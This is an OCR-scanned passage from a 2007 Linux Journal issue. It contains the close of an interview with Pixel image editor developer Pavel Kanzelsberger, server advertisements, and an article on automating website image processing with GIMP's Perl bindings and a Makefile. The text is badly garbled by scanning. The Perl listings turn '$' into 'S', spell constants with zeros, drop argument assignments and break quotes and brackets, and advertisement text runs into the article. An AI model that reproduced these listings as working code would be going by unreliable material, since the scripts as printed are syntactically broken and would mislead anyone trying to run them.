(have a look at Photoshop), but people find it strange on Linux and Windows. Otherwise, it is a nice open-source effort and will do just fine for basic editing. LJ: If I am a graphic designer, will I have any production difficul¬ ties with prepress, printing companies and so forth if I use Pixel vs. more mainstream graphics tools? PK: I wouldn't recommend it right now, as it's in a beta state, but when it's finished I think it will be perfectly usable in such environ¬ ments. All tools needed for prepress and printing will be ready in the final release. LJ: You seem to have nearly every OS imaginable covered, includ¬ ing Linux, FreeBSD, Windows, BeOS, OS/2 and many others. How and why did Pixel become so multiplatform? PK: Pixel started as a DOS application in 1997, and then it was ported to Windows because everybody already was using Windows by that time. Pixel's "multiplatformness" started with a request from Be Inc., the former BeOS developer. They donated all the tools and help for porting Pixel to BeOS. After that, I discov¬ ered Linux and decided to rewrite Pixel from scratch and make it less platform-dependent, so it could be ported to new operating systems or architectures easily. All of the other exotic platforms came mostly by community requests and OS fans. LJ: How many customers do you have, and what platforms are the most popular? PK: Right now, without any marketing and with an unfinished prod¬ uct, you can count them in the hundreds. I hope it gets better when Pixel is finished. The most popular platforms are Windows, Linux and Mac OS X—in that order. Windows is doing 50% of all downloads; Mac OS X and Linux together make around 40%. LJ:I see that you charge $38 US for Pixel. Are you finding resis¬ tance among Linux and FreeBSD people to pay for their software? PK: Yes, quite often even with requests to open-source Pixel. But, I'm trying to explain to them the licensing scheme. I'm not charging money for the Linux version of Pixel, but I'm charging for Pixel itself. It doesn't matter which operating system you are using—the license allows you to use any or all of them. LJ: Can you tell us a little bit about the development process? For example, how much work do you do yourself vs. others on your development team, if you have one? PK: The Pixel development team consists of one person, and that is www.linuxjournal.com ju ly 2007 | 55 FEATURE Pavel Kanzelsberger me. So everything is done by me, including development, Web site management, bug tracking, support and so on. LJ: We would like to know more about you too, Pavel. Is the Pixel project a full- time job for you, or do you have another day job so you can pay your bills? PK: I've had full-time jobs in the past, but since early 2006, Pixel is the only job I've got. It is a very important project for me, so I decided to quit my job and focus on Pixel alone. When I saw Pixel was selling and earning enough money monthly, I decided to quit my job and live off Pixel. For now it works, and I hope it gets better in the future, but you know this place on earth where I am [Slovakia] is quite cheap to live. LJ: Do you have sponsors who help pay the bills? PK: I don't have a sponsorship of any kind, but I'm getting offers from time to time. LJ: What other things have you done in your career? PK: I worked in different environments, mostly with Linux servers, SQL databases and Web-based applications. I made a few corporate infor¬ mation systems and even led a team of multimedia developers in Asia. LJ: Where did you work in Asia? PK: I worked in Seoul, Korea, for about a year in 2005. However, the photo I sent you for this interview is from Tokyo, Japan, where Ultra Dense, Powerful, Reliable I spent only week or so. I was using Linux there, and because of that, they treated me like I was an exotic dude. They use Windows so much. LJ: What inspired you to create Pixel? PK: When I learned programming, I had a really prehistoric computer called IBM PC XT with a CPU at 4.77MHz and a CGA graphics card. My plan was to make some games, but as you need graphics for games, I started by making an image editor. The first version I made was called GFX Studio, which was running in DOS in 320x200 resolu¬ tion and four colors! It already had a windowed interface and that gradually evolved into what you see today. LJ: What tools do you use to develop Pixel? PK: Most of the time I'm developing on Gentoo Linux with the GNOME desktop. I don't like over-complicated IDEs, so I'm using a simple text editor with syntax highlighting and a set of command-line tools to compile and debug Pixel. A few of them are fpc compiler, gcc, binutils, gdb and valgrind. Datacenter Management Simplified! 15" Deep , 2-Xeon/Opteron or P4 (w/RAID) options LJ: I understand that you live in Slovakia. What can you tell us about the Linux-related activity in your country compared to the rest of Europe? Are there other interesting projects or developments there that are worth mentioning? PK: From what I've seen on the Internet, Linux is becoming very popular here, mostly in schools. There are many communities try¬ ing to help Linux newcomers, translating various Linux programs and so on. I know some very clever software developers in my country, but they're mostly involved in the gaming industry and in other commer¬ cial 3-D projects. QCJ Customized Solutions for... Linux, BSD, W2K High Performance Networking Solutions • Data Center Management • Application Clustering • Network and Storage Engines Rackmount Server Products • 1U Starting at $499: C3-lGHz, LAN, 256MB, 20GB IDE • 2U with 16 Blades, Fast Deployment & more... Iron Systems, Inc. 540 Dado Street, San Jose, CA SYSTEMS" CA 95131 www.ironsystems.com Caul: l -800-921 -IRON LJ: What future features should we look for in Pixel? PK: In the near future, I'm planning to improve PSD import and to add full support for Photoshop plugins. I also might push for Wine support for the Linux version. LJ: What are your interests besides taking care of Pixel? PK: My family and my one-year-old son are the top priority right now. Otherwise, I like sports cars and driving. When I find some extra time, I like to play tennis or visit our beautiful natural areas. LJ: Thank you, Pavel, and good luck to you with Pixel! ■ James Gray is Linux Journal Products Editor and a graduate student in environmental science and management at Michigan State University. A Linux enthusiast since Slack 1.0 in 1993, he currently lives in Lansing. Michigan, with his wife and kitty. More information about Pixel, as well as prod¬ uct downloads, are available at the official Pixel Web site: www.kanzelsberger.com/pixel. 56 | july 2007 www.linuxjournal.com PolyweH's Ultimate Linux Systems More Choices, Excellent Support Service, Great Value! 1U Value Servers Starts at $399, Up to 4GB RAM (custom config. available) $399 1U-485AX Sempron 3000+, 1GB DDR2, 80GB HD (For Volume Purchase Only) $499 1U-485AX Athlon64 3500+, 2GB DDR2, 80GB HD (For Volume Purchase Only) $699 1U-690GA Athlon64 X2 Dual-Core 3800+, 4GB DDR2, 2x80GB HD (Dual LAN +$45) $1299 1U-690GA Athlon64 X2 Dual-Core 4200+, 8GB DDR2, 2x80GB HD (Dual GigaLAN +$45) Linux Appliance starts at $299 Poly 485Ax Sempron 3000+, 512M DDR2, ATI X1100 Graphics, 100Mbit LAN, DVD, 160G HD $299 (For Volume Purchase Only) Poly 690GA Athlon64 X2 Dual-Core 3800+ 1G DDR2 ATI XI250 DVI+VGA, GigaLAN, DVD-RW, 500GB HD $499 1U Advanced Servers, Up to 64GB RAM, 4TB HD \ $1,999 1U-690S4 Athlon64 X2 Dual-Core 500+, 8GB DDR2 2TB 4x500GB HD, Dual Gigabit LAN $2,399 1U-1000SL Opteron 1210 Dual-Core, 8GB DDR2 ECC 2TB 4x500GB HD, Dual Gigabit LAN $2,999 1U-2500A16 2 x Opteron 2212 Dual-Core, 16GB ECC DDR2, 1TB 4x250GB HD, Dual Gigabit LAN $5,999 1U-2500A16 2 x Opteron 2216 Dual-Core, 32GB ECC DDR2, 2TB 4x500GB HD, Dual Gigabit LAN (Option: 64GB+4TB HD) I 1U Twin Servers, 1U 8-Way Quad Opteron (OEM /ODM Service Available) Low-Cost NAS Storage 2.0TB Starts at $999 $999 Netdisk 4000 2.0TB 4x500G $1,550 Netdisk 6000 3TB 6x500G (2U) $4,999 Ill-Twin 2x2 Dual-Core Processors, 2 x 8GB ECC DDR2, 2 x Dual 250GB HD, 2 x Dual Gigabit LAN $5,999 1U-8415A 4 x Opteron 8212 Dual-Core, 16GB ECC DDR2, 1.5TB 3x500GB HD, Dual Gigabit LAN $7,999 1U-8415SS 4 x Opteron 8212 Dual-Core, 32GB ECC DDR2, 2x74GB 15K RPM SAS HD, 3x Gigabit LAN High-Density Multi-Processor Servers 1U 8-Way, 5U 16-Way Servers, Up to 128G RAM $12,999 1U-8450SS 4 x Opteron 8212 Dual-Core, 64GB ECC DDR2, 2x74GB 15K RPM SAS HD, 3x Gigabit LAN $39,999 1U-8450SS 4 x Opteron 8214 Dual-Core, 128GB ECC DDR2, 2x74GB 15K RPM SAS HD, 3x Gigabit LAN $18,500 5U-8850T5U 8 x Opteron 8212 Dual-Core, 64GB RAM, 2TB 4x500GB HD, 3 x Gigabit LAN $46,999 5U-8850T5U 8 x Opteron 8214 Dual-Core, 128GB RAM, 4TB 8x500GB HD, 3 x Gigabit LAN 6TB 2U Storage Server 2012SC-2055A 4TB 8x500G, Opteron $2,999 6TB 12x500G, Opteron $3,999 Blade Servers -10 Dual or Quad Processors Blades $13,999 8U 10 x 2055A Blades 10 x (Dual Opteron 2210 Dual-Core, 4GB RAM, 80G HD) $24,999 8U 10x2500M Blades 10 x (Dual Opteron 2212 Dual-Core, 16GB RAM, 80G HD) $36,999 8U 10 x 8450A Blades 10 x (Quad Opteron 8212 Dual-Core, 16GB RAM, 80G HD) $66,999 8U 10x8450A Blades 10 x (Quad Opteron 2214 Dual-Core, 32GB RAM, 80G HD) 18TB 4U Storage Server 4024AIS-2500A16 12TB 24x500G, Opteron $7,500 18TB 24x750G, Opteron $11,999 AMD Dual-Core technology enables one platform to meet the needs of multi-tasking and multi-threaded environments; provides platform longevity Polywell OEM Services, Your Virtual Manufacturer Prototype Development with Linux/FreeBSD Support Small Scale to Mass Production Manufacturing Fulfillment, Shipping and RMA Repairs AMDH Opteron 20 Years of Customer Satisfaction 5-Year Warranty, Industry's Longest First Class Customer Service 888.765.9686 www.Polywell.com/us/LJ Polywell Computers, Inc 1461 San Mateo Ave. South San Francisco, CA 94080 650.583.7222 Fax: 650.583.1974 Opteron, Sempron and ATHLON are trademarks of Advanced Micro Devices, Inc.. Quadro, nForce and Nvidia are trademarks of NVIDIA Corporation. All other brands, names are trademarks of their respective companies. POLYWELL INDEPTH Automated GIMP Processing of Web Site Images Take advantage of The GIMP to perform mundane but needed image processing for Web sites, ben martin 58 | july 2007 www.linuxjournal.com The GIMP is a great interactive image editor, but it also can be used to automate the mundane tasks that are involved in creating Web sites. Commercial Web sites that are designed to sell products rather than deliver technical text content tend to rely heavily on images to make users stick around. This article is about using The GIMP to create the visuals for such image-laden sites. The sites targeted by this article gen¬ erally are not using Flash and are expected to work cross-browser, which means they support Internet Explorer's limitations on alpha masks. In this article, I ignore HTML and stylesheet specifics and concen¬ trate on batch image processing with The GIMP. The two main image targets that minimally are expected to work are 8-bit GIFs with a single-bit alpha mask and JPEGs with no auxiliary alpha support at all. Unfortunately, image formats, such as PNGs, which offer a nice 8-bit alpha mask, cannot be used for cross-browser Web sites with non¬ technical audiences. Many people still are using whatever browser came by default with their operating system, and businesses tend not to want to ignore potential customers. As an example, consider a site that wants to have a tiled back¬ ground image, oval buttons and a side panel with a drop shadow and images that are not confined to sitting evenly inside the side panel. Part of the Web site is about showing images of various products, which are to sit nicely shadowed and/or antialiased on top of the background or another random pixel offset on the site. A single-bit alpha mask is not useful for displaying many types of images on top of a complex background image. This is because the edges of some images need to be blended explicitly to the color of the background in order not to look jagged. With a single-bit alpha mask, the background color needs to be very stable for the entire perimeter of the image in order to look acceptable. As an example, I show here how easy it is to make things, such as the composition shown in Figure 1, with the final image without the layer perspective as in Figure 2. This example is of a cake image, placed Figure 2. Compositing a Cake with the Background and Side Panel A single-bit alpha mask is not useful for displaying many types of images on top of a complex background image. half on the side panel and half on the background of the page—as though the user has haphazardly left the cake slightly aside for now. The layers shown could be stored in different xcf files for easy maintenance and properly composited with The GIMP scripting into a caramel-cake.jpg, which can be included by the Web site. Getting Started Unfortunately, some distributions no longer package gimp-perl. It is available for GIMP 2.x from ftp.gimp.org, and once perl-PDL and perl-ExtUtils-Depends are installed along with GIMP, gimp-devel and the Perl bindings for GTK+ 2.x, the module itself can be installed using the classic CPAN trio shown in Listing 1. Start The GIMP without a GUI, ready to process Perl commands with the following: gimp -i -b 1 (extension-perl-server 0 0 0)' & FREE STUFF YOU ASK? OKI Send us a postage-paid, self-addressed envelope to the below address and we’ll return a handful of Linux and Linux Journal stickers to you free of charge. iO ^4 % v , » LINUX JOURNAL Attn: Sticker promo PO BOX 980985 Houston, TX 77098 www.linuxjournal.com ju ly 2007 | 59 INDEPTH 1 Listing 1. Compile and install gimp-perl. perl Makefile.PL ; make; su -1; make install; The scripts shown in this article tend to follow the pattern of tak¬ ing a single image as input and generating a single output image to try to mimic Linux command-line pipes. Unfortunately, the scripts in this article can't be piped together but rely on temporary image files to save each image modification. The images are passed in using the -inputimage parameter, and the -outputimage parameter is used to name where the image is saved for the next script to process. Note that both images should be specified using full paths to ensure that The GIMP puts them where you expect. More complex translations can be streamlined into a single Perl Listing 2. Exporting an xcf with 8-Bit Alpha to an Image with One Bit of Pretreated Alpha Gimp->image_add_layer( $img, Snewlayer, -1 ); Gimp->edit_fi11( Snewlayer, TRANSPARENT_FILL ); Gimp->edit_copy( $oldlayer ); my $floatobject = Gimp->edit_paste( $newlayer,0 ); Gimp->floating_sel_anchor( $floatobject ); #!/usr/bin/perl use Gimp ":auto"; use Gimp::Fu; use lib 1 /usr/local/bin/ 1 ; use MonkeylQGIMP; sub monkeyiq_gimp_convert { my( $inputimagename, $outfilename, $aliascolor ) = Gimp->palette_set_foreground( $aliascolor ); $img = Gimp->file_load( $inputimagename, $inputimagename ); Slayer = Gimp->layer_new( $img, Gimp->image_width( $img ), Gimp->image_height( $img ), RGBA_IMAGE, "background merge image", 100, N0RMAL_M0DE ); Gimp->image_add_layer( $img, Slayer, -1 ); Gimp->image_lower_layer( Simg, Slayer ); Gimp->edit_fill( Slayer, BACKGROUND_FILL ); Soldlayer = Gimp->image_merge_visible_layers( Simg, EXPAND_AS_NECESSARY ); Gimp->layer_set_name( Soldlayer, "oldlayer" ); Gimp->selection_none( Simg ); Sthreshold = 1; Gimp->by_color_select( Soldlayer, Saliascolor, Sthreshold, 0, 1, 0, 0, 0 ); Gimp->selection_invert( Simg ); ################################################## Snewlayer - Gimp->layer_new( Simg, Gimp->image_width( Simg ), Gimp->image_height( Simg ), 1, "test xl", 100, 0 ); ################################################## # delete old background layer Gimp->layer_set_visible( Soldlayer, 0 ); Gimp->layer_set_visible( Snewlayer, 1 ); imageOutput( Simg, Soutfilename ); } register "monkeyiq_gimp_alias", "Alias alpha values to a background color", "Alias alpha values to a background color (and then remake one bit trans)", "Ben Martin", "Ben Martin", "2007-Mar-16", "/Xtns/Perl-Fu/Alias As X", H * II [ [PF_STRING, "inputimage", "Name of image to export", [PF_STRING, "outputimage", "Name of image to save to", ""], [PF_C0L0R, "aliascolor", "Background color to alias with", ""], ] , \&monkeyiq_gimp_convert; if( $#ARGV <= 0 ) { print "Usage: $0 -inputimage imagepath"; print " -outputimage full_dst_path"; print " -aliascolor #000000 \n\n"; exit; } # Handle over control to gimp exit main(); 60 | july 2007 www.linuxjournal.com script. Although using many smaller scripts is slower, because of the extra image save/load cycles, this is less relevant for batch processing images. The upside is that once the little scripts are known about, they can be strung together quickly from both the command line and Makefiles. Common utility functions have been moved into the MonkeylQGIMP module so that many little image editing scripts can be created quickly. Listing 3. MonkeylQGimp Saving Functions #!/usr/bin/perl package MonkeylQGIMP; use Gimp ":auto"; use Gimp::Fu; require Exporter; sub imageOutput { my( $img, $outfilename ) = if( $outfilename =~ ".xcf" ) { print "Save to xcf file $outfilename\n"; Gimp->xcf_save( 0, $img, 0, $outfilename, Soutfilename ); } else { Slayer = getMergedLayer( $img ); Gimp->file_save( $img, Slayer, Soutfilename, Soutfilename ); } Gimp->image_delete( Simg ); sub getMergedLayer { my( Simg ) = my Sexistinglayer = Gimp->image_get_active_layer(Simg); @layers = Gimp->image_get_layers( Simg ); print "layers size:" . $#layers . "\n"; if( $#layers <= 1 ) { Slayer = Gimp->image_get_active_layer(Simg); } else { Slayer = Gimp->image_merge_visible_layers( Simg, 1 ) } if( Slayer == 0 ) { print "Creating a new layer to merge in\n"; Snewlayer = Gimp->layer_new( Simg, Gimp->image_width( Simg ), Gimp->image_height( Simg ), Sexistinglayer->type(), "trans merge layer" 100, N0RMAL_M0DE ); Gimp->image_add_layer( Simg, Snewlayer, -1 ); Gimp->edit_fill( Snewlayer, TRANS_IMAGE_FILL) Slayer - Gimp->image_merge_visible_layers( Simg, 1 ) } return Slayer; www.linuxjournal.com ju ly 2007 | 61 INDEPTH 1 The generation of prelight images for mouse-over events can be automated by adjusting the brightness or contrast of each layer. Images with a 1-Bit Alpha Channel As a first example, suppose we have an image file that has full 8-bit transparency and we want to export that image as a GIF with only one bit of alpha mask. To make this image look best, we first should perform some processing on pixels that are not either fully opaque or fully transparent. Such semi-transparent pixels should be mixed with a desired background color in order not to appear jagged on the Web site. The image is a button (Figure 3) with the soft shadow blended to a gray background. If this button is exported to an image with a single-bit alpha mask without any special treatment, it may look poor. Aliasing with the gray background will be merged into the exported image itself, and if the Web site has a different colored background, it will not give a pleasing appearance, as shown in Figure 4. Ignoring the bad choice of bright green as a background, the edges are extremely jagged, and the soft shadow effect is lost. The code shown in Listing 2 takes any image file supported by The GIMP, an output file path and an expected background color, and creates an output image that is suitable for using with a 1-bit alpha mask. Both the input and output images can be anything The GIMP can read or write. For this script, it is most likely reading an xcf file and writing a PNG file. The PNG image is processed later with an export to the webgif script to obtain the final image. Listing 4. Merge the button with the nasty green background color. gimp-monkeyiq-alias \ -inputimage Button-with-8bit-alpha.xcf \ -outputimage Button-nicely-merged-with-green.png \ -aliascolor '#00ff00' Figure 5. The green background now plays a role in the partially transparent pixels. Listing 5. Finally, convert to a 6-bit GIF for the Internet. $ gimp-monkeyiq-webgif \ -inputimage Button-nicely-merged-with-green.png \ -outputimage Button.gff -dither 1 -depth 64 $ identify Button.gif Button.gif GIF 317x213 317x213+0+0 PseudoClass ... Listing 6. Export to a GIF image with some handy options. Do we really need those 8 bits for this image? sub gif_to_web { my($inputimagename, $outfilename, $num_cols, $use_dither) = my $palette_type = 0; $img = Gimp->file_load( $inputimagename, $inputimagename ); Gimp->convert_indexed( $img, $use_dither, $palette_type, $num_cols, 0, 1, "" ); imageOutput( $img, $outfilename ); } [ [PF_STRING, "inputimage", "Name of image to export", ""], [PF_STRING, "outputimage", "Name of image to save to", ""], [P F I NT, "depth", "depth", "255"], [P F I NT, "dither", "dither", "1"], ] , Let's walk through the code in Listing 2. First, The GIMP API is imported, and then the main function of the script is declared with its arguments clearly stated as variables. Skipping the function itself for now, there is a register call at the bottom of the script giving some metadata for The GIMP as to where this script should appear in menus and the number and types of arguments it expects along with a refer¬ ence to the above function that actually does the work. There is a tiny bit of argument checking before handing control over to The GIMP. With the metadata-handling code out of the way, let's go back to the monkeyiq_gimp_convert function. The nominated image file is loaded and a new layer, $layer, is created with the same dimensions as the image itself, and it will be filled with the nomi¬ nated background color. This new layer is then put to the bottom, and visible layers are merged. This makes all the transparency in the image be evaluated against the new background layer's color. In the case of our button on a gray background, assuming the input xcf file has the gray background layer hidden, if the script is run with the bright green background color nominated, the soft drop shadow is blended with the green in accordance with each 62 | july 2007 www.linuxjournal.com Listing 7. Make all layers hidden in the output image. # # Hide all layers # sub Layers_hideAll { my( $img ) = @layers = Gimp->image_get_layers( $img ); foreach $1 (@layers) { Gimp->layer_set_visible( $1, 0 ); } } sub monkeyiq_gimp_layers_hideall { my($inputimagename,$outfilename) = $img = gimp_file_load( $inputimagename, $inputimagename ); Layers_hideAll( $img ); gimp_xcf_save( 0, $img, 0, $outfilename, $outfilename ); gimp_image_delete( $img ); } Listing 8. Show layers that have a name matching the given regular expression. sub Layers_showByRE { my( $img, $layersre ) = @layers = Gimp->image_get_layers( $img ); foreach $1 (@layers) { $n = Gimp->layer_get_name( $1 ); if( $n =~ m/$layersre/ ) { Gimp->layer_set_visible( $1, 1 ); } } } sub monkeyiq_gimp_layers_hideall { my($inputimagename,$outfilename,$layersre) = $img = gimp_file_load( $inputimagename, $inputimagename ); Layers_showByRE( $img, $layersre ); gimp_xcf_save( 0, $img, 0, $outfilename, $outfilename ); gimp_image_delete( $img ); } ASA COMPUTERS Want your business to be more productive? ■ lit* ASA Servers p[MHE»d fry IJih lnl«l Xheim Proceuoc provitiH EIlh [^L iHilily 'd r id depandHbility U] kH«p up with yciur grciwinq Lmsiness Hardware Systems for the Open Source Community - Since 1939, (Linux, FrocBSD, NolSSD, OponBSD, Solans, MS. etc. Ill DempseyfWoadcrest Storage server Stand at - $1,041 tin iniiAMMj. Unv - nn. - Intel Dual COtfe 5030 CPU Ma jc-? t PUs 1GR FRDIMMS ImlHllGd. - Supports 16GB I ULHMM. p - 4X750EH1 hTFVwap SATA4 Drtws* Inula llnd. / 4 port SATA II RAIDCDnfralhr. - 2X1 OJIOOHI 000 LAN onboard. ZD Dempsey/Woodcrest Storage server Stand at - $3,891 lin Siouiifa InfliaNAd. Max - tJTn. - tnrivl nunl corn 5050 CPU. - 1C>n GG7MCi? FnniMMx Innallnri - Supports 15GB F-BDIMM. - 16 port SATA-LI RAID cnniroilfir. - iGXJSQfYR ht*wap SATA-II Qrlvm Installficl. - aXIOHOOHIOOO LAN onUonrcf. - liimw Rrvd PS. 3U Dempsey/Woodcrest Storage server Stand at - £4,191 - A IH Slorago Installim. Max 171H. - Irun-I Dual ears SQfifl CPLJ. ICR 6G7UG7 F ODIUM SI IdiEfllllHl Surcwrla LGUL1 FDOIMM. - IS pan SATA II RAID eanirnllar. iGXJ%or.n tirswap saia ji niivAn inmiiii^. SXIO/tOD/teOO LAN onljonril. SMw FtedPS. bU DempseyfWoodcrest Storage server Stand at - 56,991 GTQ Sluiuuv InslallirEl. Mas - IMD. - Ima I n ual c nm 50 50 C P U, ■ 4GB 56/MIGZ F-BUIMM& Installed. ■ Supports 16GB I HDIMM. 24X250GD rn»wau SATA II DtlYva ImHulted -?A pan SATA-II RAID. CARR/nnU. -2X1 011 00/1000 LAN onboard. - flldW RfHl PS. 8U Dempsey/Woodcresf Storage server Stand at - $11,441 10TB Slma^B Installed. Max - 30TB. Ini Pi Dual rnrp 5050 CPU. oiiarniiy 47 insimind. 1GB 56/MG2 F ULHMM*. Supports 1ZGB T ULHMM. 40X254GB hi* wap SATA II Dilvub Installed, 7X17 port SATA-II Mull I liinft RAID r*rmnilrvr 1X16 Port SAIA-IF Mull I lane RAID conlroHor. 2X10110071000 LAN Onboard. 13fl0 W Rud Pa. All ostoMt insialled and lotud with user s choice ol ItnuM distribution I (roe). ASA Collocation—$J5 ter month 2354 Calle Del Mundo, Santa Clara, CA 95054 wvyw.asacomputers.com Email1sales@asac0mputefs.com P: 1-VHHIEAI-KS | FAX: 403-654-2910 rmel®. InflelS *m , “, Intel insiJe®, lute!® Hartun& and ifie Irat^l Inside® logo are totfenwfcs or registered IriiJtriijife Jiiltl Coi jrtr jIiois « iSi lulxidiafus in the United ilila jix) film iQrxilriu, Pficti and awiiabii'ny wbjttc to clunHj.* without nal»re, Not retponjibi* fo* iypogr*p*ii{al ermas. INDEPTH Do you take "the computer doesn f t do that" as a personal challenge? So do we. LINUX JOURNAL Since 1994:The Original Monthly Magazine of the Linux Community 1 Listing 9. Create a quick prelight image for mouse-over events. sub monkeyiq_gimp_prelight { my ($inputimagename,$outfilename, $brightness, $contrast ) = $img = gimp_file_load( $inputimagename, $inputimagename ); print "prelight $inputimagename"; print " to $outfilename\n"; @layers = gimp_image_get_layers( $img ); foreach $1 (@layers) { gimp_brightness_contrast( $1, $brightness, $contrast ); } imageOutput( $img, $outfilename ); } [ [PF_STRING, "inputimage", "Name of image to export", [PF_STRING, "outputimage", "Name of image to save to", ""], [P F INT, "brightness", "-127 to 127", ""], [P F INT, "contrast", "-127 to 127", ""], ] , pixel's old alpha values. Next, a selection is performed using the nominated background color, and that selection is inverted. So, the selection should contain everything in the image and effectively be defining a single-bit alpha mask for what pixels should be fully transparent in the image. The next block adds another new layer to the image, Snewlayer, with a transparent color, and then it copies and pastes the selec¬ tion from the above merged layer (everything other than the back¬ ground color) into the new layer. We don't need the old merged image layer anymore, so it is set to hidden and only the new layer is shown. The result is that the new layer contains the old image data that has had any partially transparent pixels merged with the nominated background color. There is a only a single color that is transparent, and the rest are fully opaque. The imageOutput function is a little utility function in the MonkeylQGIMP module that handles saving to native GIMP xcf files, but it also does something sane if a non-xcf file is desired. Parts of MonkeylQGimp are shown in Listing 3. The imageOutput function simply dispatches to one of the gimp_*_save() functions with the only difference being that for non-native formats, first Subscribe today at www.linuxjournal.com Listing 10. Makefile to Convert xcf Files to Composited JPEG Images tmp_img=/tmp/tmp_img.xcf tmp2_img=/tmp/tmp_img.xcf background_img=mybackground.png simplelayered_extensi on=xcf simplelayered_targets=\ $(patsubst %. xcf,%.jpg,$(wiIdcard *.xcf)) all: $(simplelayered_targets) $(simplelayered_targets): %.jpg: %.xcf if_xcf=$<; \ if='basename $< .xcf'.png \ of=$@; \ of_thumbnai1 = 'basename $@ .jpg'-thumb.jpg \ gimp-monkeyiq-append-layer-from-image-file \ -inputimage 'pwd'/$ $if_xcf \ -outputimage $(tmp_img) \ -layerimage 'pwd'/$(background^ - mg) \ -layername "background-layer"; \ gimp-monkeyiq-save-as-jpg \ -inputimage $(tmp_img) -outputimage $$of; \ gimp-monkeyiq-scale \ -inputimage 'pwd'/$ $if_xcf \ -outputimage $(tmp_img); \ -ratio 0.15; \ gimp-monkeyiq-append-layer-from-image-file \ -inputimage $(tmp_img) \ -outputimage $(tmp2_img) \ -layerimage 'pwd'/$(background^ - mg) \ -layername "background-layer"; \ gimp-monkeyiq-layers-showall \ -inputimage $(tmp2_img) \ -outputimage $(tmp_img); \ gimp-monkeyiq-layers-hi debyre \ -inputimage $(tmp_img) \ -outputimage $(tmp2_img) \ -layersre "background-layer"; \ gimp-monkeyiq-move-visible-layers \ -inputimage $(tmp2_img) \ -outputimage $(tmp_img) \ -xoffset 200 -yoffset 100; \ gimp-monkeyiq-save-as-jpg \ -inputimage $(tmp_img) -outputimage $$of; getMergedLayer() is called to get a single layer to export. In getMergedLayer(), if there is only a single layer, we are done; oth¬ erwise, we merge the visible ones and return that. If there is more than one layer, but none of them are visible, the code creates a single layer to return to avoid runtime errors from calling code. If nothing is visible, it's the same as saving a fully transparent layer. To generate the properly aliased button, run the command shown Listing 11. Save any image The GIMP can load as a JPEG image with given compression parameters. sub monkeyiq_gimp_convert { my( $inputimagename, $outfilename, $qual, Ssmoothing, Scomment ) = $img = gimp_file_load( $inputimagename, Sinputimagename ); Slayer = getMergedLayer( $img ); file_jpeg_save( $img, Slayer, Soutfilename, Soutfilename, Squal, Ssmoothing, 1, 1, Scomment, 0, 1, 0, 1 ) ; return Simg; } register [ [PF_STRING, "inputimage", "Name of image to export", ""], [PF_STRING, "outputimage", "Name of image to save to", ""], [PF_FL0AT, "quality", "0-100 quality of JPG", ""], [PF_FL0AT, "smoothing", "0-1 smoothing", ""], [PF_STRING, "comment", "Comment for image", ""], ] . \&monkeyiq_gimp_convert; exit main(); in Listing 4. The result will look like Figure 5. Notice that the shadow is now a soft graduation to the green background. The final output GIF image is created with the command shown in Listing 5. For more-specific image settings for GIF files for use on the Internet using gimp-monkeyiq-webgif, see Listing 6. Here, the depth of the GIF is set to less than 256 colors, and the image is dithered to try to compensate for the lower number of available colors. Some Simple Scripts As imageOutputO exports all the visible layers of an image by default, a few other scripts allow you to slice up the layers in an xcf file to make only the desired layers visible and thus exported to the final image. Ignoring the boilerplate registration code for each script, hiding all layers can be done with the script shown in Listing 7. Then, a regular expression can be used to show desired layers (Listing 8). The Layers_hideAII() and Layers_showByRE() functions are in the www.linuxjournal.com ju ly 2007 | 65 INDEPTH 1 Listing 12. Append a layer from one image to another. #!/usr/bin/perl -w use Gimp ":auto"; use Gimp::Fu; use lib '/usr/local/bin/'; use MonkeylQGIMP; sub monkeyiq_gimp_append_layer_from_image_file { my($inputimagename, $outfilename, $inputimagenameSecond) = print "cat $inputimagename"; print " SinputimagenameSecond >> $outfilename\n"; $img = gimp_file_load( $inputimagename, $inputimagename ); $img2 = gimp_file_load( SinputimagenameSecond, SinputimagenameSecond ); Slayer = getMergedLayer( Simg2 ); if (!$layer->has_alpha) { $layer->add_alpha; } $img2->selection_all; $layer->edit_copy; Snewlayer = Gimp->layer_new( $ i mg, Gimp->image_width( Simg2 ), Gimp->image_height( Simg2 ), RGBA_IMAGE, "appended image data", 100 , N0RMAL_M0DE ); $newlayer->drawable_fi11(TRANSPARENT_FILL); Gimp->image_add_layer( Simg, Snewlayer, -1 ); Gimp->image_lower_layer( Simg, Snewlayer ); Sfloater = $newlayer->edit_paste( 1 ); $floater->anchor; Simgw = Gimp->image_width( Simg ); Simgh = Gimp->image_height( Simg ); $img2w = Gimp->image_width( $img2 ); $img2h = Gimp->image_height( $img2 ); $img->resize( Simgw >= $img2w ? Simgw : $img2w, Simgh >= $img2h ? Simgh : $img2h, 0 , 0 ); imageOutput( Simg, Soutfilename ); } register [ [PF_STRING, "inputimage", "Name of image to load", ""], [PF_STRING, "outputimage", "Name of image to save to", ""], [PF_STRING, "newlayerimage", "Name of image to append to inputimage", ""] ] , \&monkeyiq_gimp_append_layer_from_image_file; if( $#ARGV <= 0 ) { print "Usage: $0 -inputimage imagepath"; print " -outputimage full_dst_path print " -newlayerimage imagepath2 \n\n"; exit; } # Handle over control to gimp exit main(); shared MonkeylQGIMP module, so that all scripts easily can toggle layer visibility too. Let's look at one more simple script before moving on. The gener¬ ation of prelight images for mouse-over events can be automated by adjusting the brightness or contrast of each layer. The script and its arguments are shown in Listing 9. A slight bump in brightness (say to 5 or 10) is usually enough to make a quick prelight image for many images. The dimensions of images also can be set aside for use in PHP Web pages. Directories of Products on Backgrounds Now, suppose we have a directory full of xcf files of product images and we want to composite all those images onto a background image and save them to JPEG files with the same base name. This can be driven from a Makefile as shown in Listing 10. The Makefile defines a JPEG target for every xcf file in the current directory. Each of these JPEG targets are processed the same way, and the JPEG file is depen¬ dent on its xcf file. If you change one of The GIMP product images (xcf files), the Makefile will reprocess only that xcf file. A thumbnail image also is created for each product. The catch here is that the thumbnail is expected to be displayed at a different offset on the background image. This means the thumbnail has to have all the image data shifted relative to the background prior to scaling and saving. If many products are to be shown on a single 66 | july 2007 www.linuxjournal.com Listing 13. Move a layer around a little. sub monkeyiq_gimp_move_visible_layers { my($inputimagename, $outfilename, $xoffset, $yoffset ) = $img = gimp_file_load( $inputimagename, $inputimagename ); @layers = Gimp->image_get_layers( $img ); foreach $1 (@layers) { if( $l->get_visible ) { $l->translate ( $xoffset, $yoffset ); } } imageOutput( $img, $outfilename ); } [PF_STRING, "inputimage", "Name of image to load", [PF_STRING, "outputimage", "Name of image to save to", ""], [P F_I NT, "xoffset", "X offset to move layers by", ""], [P F_I NT, "yoffset", "Y offset to move layers by", ""], ] . page, the call to gimp-monkeyiq-move-visible-layers would have to work out which offset to use for each thumbnail to make the 